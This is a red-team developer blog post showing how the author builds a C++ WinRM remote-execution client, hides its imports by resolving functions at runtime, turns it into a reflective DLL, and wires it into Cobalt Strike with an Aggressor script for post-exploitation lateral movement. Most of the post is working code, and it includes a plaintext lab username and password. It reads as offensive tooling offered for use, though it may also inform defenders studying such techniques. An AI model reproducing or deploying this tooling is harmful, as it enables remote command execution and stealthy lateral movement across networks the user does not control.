Home Malware Analysis About

WinRM Reflective DLLs and Aggressor Scripts

I wrote CSharpWinRM over a year ago and the project has made itself into the PoshC2 [FEATURE] listings. I thought it was pretty cool at the time, but I wanted to revisit it with a different approach. Something more robust which gives me more control and granularity.

I detailed quite a lot of it in the README for CSharpWinRM, but here is the gist:

All the heavy lifting is done by the IWSManSession interface, this gave access to two important methods:

The bulk of the WinRM functionality starts at around line 54, but I won't be going over that here.

Use Case

As the goal of this is for it to be a postex utility, it won't need to maintain sessions like the Enter-PSSession cmdlet, it purely needs to execute a command or a file. Something like:

cppwinrm.exe 10.10.11.113 notepad.exe

So, lets look at the API and see what's available.

WinRM C++ API

The API provides quite a few pieces of functionality, here is the MSDN Introduction:

The Windows Remote Management interfaces can be used to obtain data or manage resources on a remote computer. This API is intended primarily for internal use. We recommend using the WinRM Client Shell API instead whenever possible. The interfaces closely correspond to the WinRM Scripting API.

Microsoft recommend using the WinRM Client Shell API which does the following:

The Windows Remote Management (WinRM) Client Shell application programming interface (API) provides functionality to create and manage shells and shell operations, commands, and data streams on remote computers.

Its core functions:

Core functions Description
WSManCloseCommand Closes a command.
WSManCloseOperation Closes an operation.
WSManCloseSession Closes a WinRM session.
WSManCloseShell Closes a shell object.
WSManConnectShell Connects to an existing server session.
WSManConnectShellCommand Connects to an existing command running in a shell.
WSManCreateSession Creates a WinRM session.
WSManCreateShell Creates a shell object.
WSManCreateShellEx Creates a shell object by using the same functionality as the WSManCreateShell function, with the addition of a client-specified shell ID.
WSManDeinitialize Deinitializes the WinRM client stack.
WSManDisconnectShell Disconnects the network connection of an active shell and its associated commands.
WSManInitialize Initializes WinRM.
WSManReceiveShellOutput Receives shell output.
WSManReconnectShell Reconnects a previously disconnected shell session. To reconnect the shell session's associated commands, use WSManReconnectShellCommand.
WSManReconnectShellCommand Reconnects a previously disconnected command.
WSManRunShellCommand Runs a shell command.
WSManRunShellCommandEx Provides the same functionality as the WSManRunShellCommand function, with the addition of a command ID option.
WSManSendShellInput Sends input to a shell.
WSManSignalShell Signals a shell.

There are a lot of potential execution methods here, so lets get into some code.

Working PE

As I was manically Googling around, I found a proof of concept from Microsoft/Windows-classic-samples called: ShellClientAPI.

This is exactly what I was looking for and handled all the setup for WSManRunShellCommand appropriately with the following sequence of calls:

  1. WSManInitialize
  2. WSManCreateSession
  3. WSManSetSessionOption
  4. WSManCreateShell
  5. WSManRunShellCommand
  6. WSManReceiveShellOutput
  7. WSManCloseOperation
  8. WSManCloseCommand
  9. WSManCloseShell
  10. WSManCloseSession
  11. WSManDeinitialize

After playing with Microsoft's example and understanding the code, I got my main to:

#include <Windows.h>
#include <string>
#include "winrm.h"

int main()
{
    std::wstring remoteHost(L"http://10.10.11.113:5985");
    std::wstring username(L"shelby\\tommy");
    std::wstring password(L"U5Tp3*neMk");
    std::wstring commandLine(L"whoami & hostname");
    WinRM* pWinRM = new WinRM();
    if (pWinRM->Setup(remoteHost.c_str(), username.c_str(), password.c_str()))
    {
        pWinRM->Execute(commandLine.c_str());
    }
    delete pWinRM;
    return 0;
}

Running this:

The command execution works. As this has a load of imports from WsmSvc.dll I imported my .h file to parse the functions from the PEB Export Table to avoid linking to wsmsvc.lib.

Here is one example of how the functions look:

_WSManRunShellCommand pWSManRunShellCommand = reinterpret_cast<_WSManRunShellCommand>(zzGetProcAddress(zzGetModuleHandle(L"WsmSvc.dll"), "WSManRunShellCommand"));
pWSManRunShellCommand(hShell, 0, commandLine, NULL, NULL, &async, &hCommand);

Before looking at converting this into something useful, lets review the code.

Setup

First things first, as soon as Setup() is called, WSMSVC.DLL is loaded to avoid that compiler link:

if (!LoadLibraryA("WsmSvc.dll"))
{
    return FALSE;
}

Once that is done, WSManInitialize is casted and called:

_WSManInitialize pWSManInitialize = reinterpret_cast<_WSManInitialize>(zzGetProcAddress(zzGetModuleHandle(L"WsmSvc.dll"), "WSManInitialize"));

dwError = pWSManInitialize(0, &hAPI);
if (NO_ERROR != dwError)
{
    wprintf(L"WSManInitialize failed: %d\n", dwError);
    return FALSE;
}

If all is well, WSMAN_AUTHENTICATION_CREDENTIALS is declared:

WSMAN_AUTHENTICATION_CREDENTIALS authCreds;
authCreds.authenticationMechanism = WSMAN_FLAG_AUTH_NEGOTIATE;
authCreds.userAccount.username = username;
authCreds.userAccount.password = password;

The full struct:

typedef struct _WSMAN_AUTHENTICATION_CREDENTIALS {
  DWORD authenticationMechanism;
  union {
    WSMAN_USERNAME_PASSWORD_CREDS userAccount;
    PCWSTR                        certificateThumbprint;
  };
} WSMAN_AUTHENTICATION_CREDENTIALS;

the authenticationMechanism is from WSManAuthenticationFlags and will become a problem at some point. With the current code, I'm expecting it to fail if no credentials are passed because it is currently using WSMAN_FLAG_AUTH_NEGOTIATE, whereas WSMAN_FLAG_NO_AUTHENTICATION or WSMAN_FLAG_AUTH_KERBEROS may be better (I'll sort this later)

The full enum:

typedef enum WSManAuthenticationFlags {
  WSMAN_FLAG_DEFAULT_AUTHENTICATION,
  WSMAN_FLAG_NO_AUTHENTICATION,
  WSMAN_FLAG_AUTH_DIGEST,
  WSMAN_FLAG_AUTH_NEGOTIATE,
  WSMAN_FLAG_AUTH_BASIC,
  WSMAN_FLAG_AUTH_KERBEROS,
  WSMAN_FLAG_AUTH_CREDSSP,
  WSMAN_FLAG_AUTH_CLIENT_CERTIFICATE
} ;

For clarity:

Use Negotiate authentication. The client sends a request to the server to authenticate. The server determines whether to use Kerberos or NTLM. In general, Kerberos is selected to authenticate a domain account and NTLM is selected for local computer accounts. But there are also some special cases in which Kerberos/NTLM are selected. The user name should be specified in the form DOMAIN\username for a domain user or SERVERNAME\username for a local user on a server computer.

Use no authentication for a remote operation.

Use Kerberos authentication. The client and server mutually authenticate by using Kerberos certificates.

Next, the session is created with WSManCreateSession:

_WSManCreateSession pWSManCreateSession = reinterpret_cast<_WSManCreateSession>(zzGetProcAddress(zzGetModuleHandle(L"WsmSvc.dll"), "WSManCreateSession"));
dwError = pWSManCreateSession(hAPI, connection, 0, &authCreds, NULL, &hSession);

if (dwError != 0)
{
    wprintf(L"WSManCreateSession failed: %d\n", dwError);
    return FALSE;
}

connection in this case is:

std::wstring remoteHost(L"http://10.10.11.113:5985");

However, it can be any of these:

Element Description
transport Either HTTP or HTTPS. Default is HTTP.
host Can be in a DNS name, NetBIOS name, or IP address.
port Defaults to 80 for HTTP and to 443 for HTTPS. The defaults can be changed in the local configuration.
prefix Any string. Default is "wsman". The default can be changed in the local configuration.

The following are all valid:

  1. 10.10.11.113
  2. http://10.10.11.113:5985/wsman
  3. http://10.10.11.113:5985
  4. 10.10.11.113:5985
  5. 10.10.11.113:5985/wsman

The next call to make is WSManSetSessionOption which is capable of setting a load of options from WSManSessionOption:

WSManSessionOption option = WSMAN_OPTION_DEFAULT_OPERATION_TIMEOUTMS;
WSMAN_DATA data;
data.type = WSMAN_DATA_TYPE_DWORD;
data.number = 60000;

_WSManSetSessionOption pWSManSetSessionOption = reinterpret_cast<_WSManSetSessionOption>(zzGetProcAddress(zzGetModuleHandle(L"WsmSvc.dll"), "WSManSetSessionOption"));
dwError = pWSManSetSessionOption(hSession, option, &data);
if (dwError != 0)
{
    wprintf(L"WSManSetSessionOption failed: %d\n", dwError);
    return FALSE;
}

The available options:

typedef enum WSManSessionOption {
  WSMAN_OPTION_DEFAULT_OPERATION_TIMEOUTMS,
  WSMAN_OPTION_MAX_RETRY_TIME,
  WSMAN_OPTION_TIMEOUTMS_CREATE_SHELL,
  WSMAN_OPTION_TIMEOUTMS_RUN_SHELL_COMMAND,
  WSMAN_OPTION_TIMEOUTMS_RECEIVE_SHELL_OUTPUT,
  WSMAN_OPTION_TIMEOUTMS_SEND_SHELL_INPUT,
  WSMAN_OPTION_TIMEOUTMS_SIGNAL_SHELL,
  WSMAN_OPTION_TIMEOUTMS_CLOSE_SHELL,
  WSMAN_OPTION_SKIP_CA_CHECK,
  WSMAN_OPTION_SKIP_CN_CHECK,
  WSMAN_OPTION_UNENCRYPTED_MESSAGES,
  WSMAN_OPTION_UTF16,
  WSMAN_OPTION_ENABLE_SPN_SERVER_PORT,
  WSMAN_OPTION_MACHINE_ID,
  WSMAN_OPTION_LOCALE,
  WSMAN_OPTION_UI_LANGUAGE,
  WSMAN_OPTION_MAX_ENVELOPE_SIZE_KB,
  WSMAN_OPTION_SHELL_MAX_DATA_SIZE_PER_MESSAGE_KB,
  WSMAN_OPTION_REDIRECT_LOCATION,
  WSMAN_OPTION_SKIP_REVOCATION_CHECK,
  WSMAN_OPTION_ALLOW_NEGOTIATE_IMPLICIT_CREDENTIALS,
  WSMAN_OPTION_USE_SSL,
  WSMAN_OPTION_USE_INTEARACTIVE_TOKEN
} ;

Because a lot of this is asynchronous, Events are used to capture, well, events. The final chunk of code in Setup() sets up events and then some callback functions:

_CreateEventA pCreateEventA = reinterpret_cast<_CreateEventA>(zzGetProcAddress(zzGetModuleHandle(L"kernel32.dll"), "CreateEventA"));
hEvent = pCreateEventA(0, FALSE, FALSE, NULL);
if (NULL == hEvent)
{
    dwError = GetLastError();
    wprintf(L"CreateEvent failed: %d\n", dwError);
    return FALSE;
}
async.operationContext = this;
async.completionFunction = &WSManShellCompletionFunction;

hReceiveEvent = pCreateEventA(0, FALSE, FALSE, NULL);
if (NULL == hReceiveEvent)
{
    dwError = GetLastError();
    wprintf(L"CreateEvent failed: %d\n", dwError);
    return FALSE;
}
receiveAsync.operationContext = this;
receiveAsync.completionFunction = &ReceiveCallback;

Execute

Before executing the command, one more call needs to be made, and that is to WSManCreateShell to actually create the shell:

_WSManCreateShell pWSManCreateShell = reinterpret_cast<_WSManCreateShell>(zzGetProcAddress(zzGetModuleHandle(L"WsmSvc.dll"), "WSManCreateShell"));
pWSManCreateShell(hSession, 0, resourceUri.c_str(), NULL, NULL, NULL, &async, &hShell);

resourceUri:

std::wstring resourceUri = L"http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd";

Finally, WSManRunShellCommand is called to execute the command:

_WSManRunShellCommand pWSManRunShellCommand = reinterpret_cast<_WSManRunShellCommand>(zzGetProcAddress(zzGetModuleHandle(L"WsmSvc.dll"), "WSManRunShellCommand"));
pWSManRunShellCommand(hShell, 0, commandLine, NULL, NULL, &async, &hCommand);

After this, there is a bunch of cleanup for the objects that have been opened, but the most important thing is that the DLL is being freed:

HMODULE hModule = zzGetModuleHandle(L"WsmSvc.dll");
if (hModule)
{
    reinterpret_cast<_FreeLibrary>(zzGetProcAddress(zzGetModuleHandle(L"kernel32.dll"), "FreeLibrary"))(hModule);
}

Tidy up

As I mentioned earlier, if no credentials are supplied then the struct must be NULL:

WSMAN_AUTHENTICATION_CREDENTIALS authCreds;

authCreds.authenticationMechanism = WSMAN_FLAG_AUTH_NEGOTIATE;
if (username.size() == 0 && password.size() == 0)
{
    authCreds.userAccount.username = NULL;
    authCreds.userAccount.password = NULL;
}
else
{
    authCreds.userAccount.username = username.c_str();
    authCreds.userAccount.password = password.c_str();
}

However, this is giving me a bunch of different errors depending on the flag provided. I'll leave this for now and test again when I get access to a better configured lab.

Finally, to make the PE a bit more usable:

#include <Windows.h>
#include <string>
#include "winrm.h"

void usage()
{
    printf("PS> .\\cppwinrm.exe <host> <command> [username] [password]\n");
    return;
}

int wmain(int argc, wchar_t* argv[])
{
    std::wstring remoteHost;
    std::wstring username;
    std::wstring password;
    std::wstring commandLine;

    if (argc == 5)
    {
        remoteHost = argv[1];
        commandLine = argv[2];
        username = argv[3];
        password = argv[4];
        printf("[::] Authenticating as: %ws:%ws!\n", username.c_str(), password.c_str());
    }
    else if (argc == 3)
    {
        remoteHost = argv[1];
        commandLine = argv[2];
        printf("[::] Authenticating as current user!\n");
    }
    else
    {
        usage();
        return 1;
    }

    WinRM* pWinRM = new WinRM();

    if (pWinRM->Setup(remoteHost, username, password))
    {
        pWinRM->Execute(commandLine);
    }

    delete pWinRM;

    return 0;
}

Reflective DLL

I had a poke around Reflective DLLs in Exploring DLL Loads which piggy backed off a lot of DarkLoadLibrary from batsec. But essentially a Reflective DLL is a DLL that can be loaded from memory, as opposed to disk.

As a POC, I'll just get it all working in Cobalt Strike. There are a few ways to do this, some better than others but some post exploitation methods that allow for modularity are:

  1. Mapping a PE in Memory
  2. Reflective DLLs
  3. sRDI

sRDI would be a great method as it allows for command line arguments to be passed into it. A great blog on using sRDI is Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR.

With that said, I'm going to stick with a Reflective DLL for an easy proof-of-concept. So, the best candidate for executing this will probably be bdllspawn so lets write a small proof-of-concept to make sure the DLL works.

In Cobalt Strike:

And the target:

Before building out the DLL to execute WinRM, the arguments need to be tested:

#include "ReflectiveLoader.h"
#include <stdio.h>
#include <string>

extern HINSTANCE hAppInstance;

using namespace std;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{

    BOOL bReturnValue = TRUE;

    switch (dwReason) {

    case DLL_QUERY_HMODULE:
        if (lpReserved != NULL)
            *(HMODULE*)lpReserved = hAppInstance;
        break;

    case DLL_PROCESS_ATTACH:
        hAppInstance = hinstDLL;
        /* print some output to the operator */
        if (lpReserved != NULL)
        {
            std::string params((char*)lpReserved);
            printf("[::] Parameters: %s\n", (char*)params.c_str());
        }
        else
        {
            printf("[!] No parameters!\n");
            bReturnValue = FALSE;
        }

        fflush(stdout);
        ExitProcess(0);
        break;
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return bReturnValue;
}

Loading this in:

And the CNA:

beacon_command_register(
    "winrmdll",
    "Reflective DLL: WinRM",
    "A Bit of magic to execute WinRM as a Reflective DLL\nwinrmdll <host> <command> [username] [password]\ncc @__mez0__"
);

alias winrmdll
{
    $bid = $1;

    $barch = barch($1);

    if(size(@_) < 3)
    {
        berror($bid, "winrmdll: not enough arguments!");
        return;
    }

    else if(size(@_) eq 3)
    {
        $host = $2;
        $command = $3;
        $username = "NULL";
        $password = "NULL";
    }

    else if(size(@_) eq 5)
    {
        $host = $2;
        $command = $3;
        $username = $4;
        $password = $5; 
    }

    else
    {
        berror($bid, "winrmdll: Theres an error in the arguments!");
        return; 
    }

    $params = base64_encode($host ."||". $command ."||". $username ."||". $password);

    $dll = script_resource("reflective-winrm.dll");

    bdllspawn($bid, $dll, $params, "WinRM DLL", 10000, true);
}

There's probably a better way to do this, but I ended up concatenating the arguments together and then encoding:

MTAuMTAuMTEuMTEzfHxub3RlcGFkLmV4ZXx8TlVMTHx8TlVMTA==

When decoded:

10.10.11.113||notepad.exe||NULL||NULL

The parameters

As the input is base64, I'll use this single header base64:

std::string b64 = (char*)lpReserved;
std::string decoded;
macaron::Base64::Decode(b64, decoded;

Then extracting the parameters into a vector and back out to string:

#include <string>
#include <sstream>
#include <vector>
#include "base64.hpp"

std::vector<std::string> split(const std::string& s, char seperator)
{
    std::vector<std::string> output;

    std::string::size_type prev_pos = 0, pos = 0;

    while ((pos = s.find(seperator, pos)) != std::string::npos)
    {
        std::string substring(s.substr(prev_pos, pos - prev_pos));
        if (substring.size() != 0)
        {
            output.push_back(substring);
        }
        prev_pos = ++pos;
    }
    output.push_back(s.substr(prev_pos, pos - prev_pos));
    return output;
}

int main()
{
    std::string b64 = "MTAuMTAuMTEuMTEzfHxub3RlcGFkLmV4ZXx8TlVMTHx8TlVMTA==";

    std::string decoded;
    macaron::Base64::Decode(b64, decoded);

    std::vector<std::string> params = split(decoded, '||');

    if (params.size() != 4)
    {
        return -1;
    }

    std::string host = params[0];
    std::string command = params[1];
    std::string username = params[2];
    std::string password = params[3];

    printf("[::] Connecting to: %s\n\r[::] Executing: %s\n\r", host.c_str(), command.c_str());

    if(username == "NULL" || password == "NULL")
    {
        printf("[::] Authenticating as current user!\n");
    }
    else
    {
        printf("[::] Authenticating as: %s:%s\n", username.c_str(), password.c_str());
    }

    return 0;
}

Whacking this into the DLL:

WinRM >> DLL

Adding the WinRM code into the DLL, no credentials works fine:

And with creds:

The final DLLMain:

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
    BOOL bReturnValue = TRUE;

    switch (dwReason) {

    case DLL_QUERY_HMODULE:
        if (lpReserved != NULL)
            *(HMODULE*)lpReserved = hAppInstance;
        break;

    case DLL_PROCESS_ATTACH:
        hAppInstance = hinstDLL;
        /* print some output to the operator */
        if (lpReserved != NULL)
        {
            std::string b64 = (char*)lpReserved;
            std::string decoded;
            macaron::Base64::Decode(b64, decoded);
            std::vector<std::string> params = split(decoded, '||');

            if (params.size() != 4)
            {
                printf("[!] Parameter issue!\n");
                fflush(stdout);
                ExitProcess(0);
                break;
            }

            std::wstring host;
            std::wstring command;
            std::wstring username;
            std::wstring password;

            host = get_wstring(params[0]);
            command = get_wstring(params[1]);
            username = get_wstring(params[2]);
            password = get_wstring(params[3]);

            if (username == L"NULL" || password == L"NULL")
            {
                username = username.erase();
                password = password.erase();
            }

            WinRM* pWinRM = new WinRM();

            printf("%ws:%ws\n", username.c_str(), password.c_str());

            if (pWinRM->Setup(host, username, password))
            {
                pWinRM->Execute(command);
            }

            delete pWinRM;
        }
        else
        {
            printf("[!] No parameters!\n");
            bReturnValue = FALSE;
        }

        fflush(stdout);
        ExitProcess(0);
        break;
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return bReturnValue;
}

Conclusion

This post was more of a devblog, but I wanted to document the process I went through to write the WinRM Client and the Reflective DLL. The project can be found on GitHub which contains the DLL source, CNA Script, and the compiled DLL.

Not too sure if a Reflective DLL was the best method for doing this, but its what I went for! If you have any ideas on better ways to execute something like this, I would love to hear it!